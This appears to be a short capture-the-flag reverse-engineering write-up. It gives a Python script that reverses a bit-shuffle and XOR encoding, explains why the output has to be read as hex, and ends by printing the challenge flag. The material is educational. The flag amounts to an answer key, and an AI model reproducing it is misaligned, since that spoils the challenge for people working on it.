enc = bytearray(b'\xae\x00\x00\x00\x6d\x00\x00\x00\x9b\x00\x00\x00\x92\x00\x00\x00\x13\x00\x00\x00\x2b\x00\x00\x00\xc6\x00\x00\x00\xc9\x00\x00\x00\xe5\x00\x00\x00\xfa\x00\x00\x00\x96\x00\x00\x00\x0b\x00\x00\x00\x64\x00\x00\x00\x31\x00\x00\x00\xb8\x00\x00\x00\x08\x00\x00\x00\xc8\x00\x00\x00\x48\x00\x00\x00\xd2\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x04\x00\x00\x00\xfa\x00\x00\x00\x7b\x00\x00\x00\x88\x00\x00\x00\xb0\x00\x00\x00\x2f\x00\x00\x00\x7c\x00\x00\x00\xb3\x00\x00\x00\xb3\x00\x00\x00\x58\x00\x00\x00\x61\x00\x00\x00')

def shufflelelele(b):
	crab_map = [1, 3, 6 , 0, 2, 7, 5, 4]
	return sum((((((b - 0x22) & 0xff) ^ 99) >> i) & 1) << crab_map[i] for i in range(8))

print(''.join(chr(shufflelelele(b)) for b in enc[::4]))

…or not.

Notice that in the main, our flag is 64 chr long, but there is only 32 given encoded bytes. The loop in main check if the input chr is [a-f] or [0-9]:

I try to convert the decoded bytes to hexes and it works:

print(''.join(f"{shufflelelele(b):02x}" for b in enc[::4]))

Flag

DH{fb810d0e1ca97a70909f4e1982e1f65272623ee367129f8d42f3e987bcbc6665}